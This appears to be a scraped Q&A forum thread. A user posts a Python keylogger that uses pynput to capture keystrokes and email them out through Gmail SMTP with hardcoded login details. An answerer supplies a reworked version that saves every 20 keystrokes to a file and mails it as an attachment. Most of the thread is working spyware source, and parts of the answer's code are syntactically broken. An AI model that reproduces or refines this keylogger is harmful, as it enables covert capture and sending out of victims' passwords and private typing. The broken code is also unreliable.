-2
from pynput import keyboard
import smtplib


events = []

def on_press(key):
    try: 
      ('{0}'.format(key.char))
      events.append(key)
      print(events)  


except AttributeError :
    print('{0}'.format(key))





def on_handling():
    global events
    if len(events) == 1:
          on_send()
    else:
          on_press()





def on_send():
 server = 'smtp.gmail.com'
 port = 587
 smtp = smtplib.SMTP(server,port)
 smtp.ehlo()
 smtp.starttls()
 smtp.login("iamahacker@gmail.com","ihacktheworld2017")
 smtp.sendmail("iamahacker@gmail.com","hacktheworld18@gmail.com",events)
 smtp.close()
 events = []

with keyboard.Listener(on_press = on_press) as listener:
 listener.join()


on_handling()   

1.This is a keylogger with the pynput library 2.i want to write all the events into a list or a file 3.when a specific len of letters reached send it to mail The problem is with organzing the code and with the event = [] variable

shredder
  • 1
  • 1

1 Answers1

0

this is my best efford

from pynput import keyboard
import smtplib
import base64
import os

events = []
FROM = youruser@gmail.com'
MARKER = 'KEY'
TO = receiver@gmail.com'

def on_press(key):
    global keylogger
    keylogger = 'keylogger.txt'
    try:
      # ('{0}'.format(key.char))
      events.append(key)
      print(events)
    except AttributeError:
        print('{0}'.format(key))
    if len(events) == 20:
        file = open(keylogger, 'w')
        for i in events:
            file.write(str(i))
        file.close()
        on_send(keylogger)




def on_handling():
    global events
    if len(events) == 1:
          on_send()
    else:
          on_press()





def on_send(filename):
    fo = open(filename, "rb")
    filecontent = fo.read()
    # encodedcontent = base64.b64encode(filecontent
    encodedcontent = filecontent
    filename = os.path.basename(filename)

    body = """
    This is the key, check it.
    """

    # Define the main headers.
    part1 = """From: Matt Vincent <matt.vincent@jax.org>
    To: %s
    Subject: Sending Attachment
    MIME-Version: 1.0
    Content-Type: multipart/mixed; boundary=%s
    --%s
    """ % (TO, MARKER, MARKER)

    # Define the message action
    part2 = """Content-Type: text/plain
    Content-Transfer-Encoding:8bit

    %s
    --%s
    """ % (body, MARKER)

    # Define the attachment section
    part3 = """Content-Type: multipart/mixed; name=\"%s\"
    Content-Transfer-Encoding:base64
    Content-Disposition: attachment; filename=%s

    %s
    --%s--
    """ % (filename, filename, encodedcontent, MARKER)

    message = part1 + part2 + part3

    server = 'smtp.gmail.com'
    port = 587
    smtp = smtplib.SMTP(server,port)
    smtp.ehlo()
    smtp.starttls()
    smtp.login(FROM, "password")
    smtp.sendmail(FROM, TO, message)
    smtp.close()

with keyboard.Listener(on_press = on_press) as listener:
 listener.join()


on_handling()
Mauricio Cortazar
  • 4,049
  • 2
  • 17
  • 27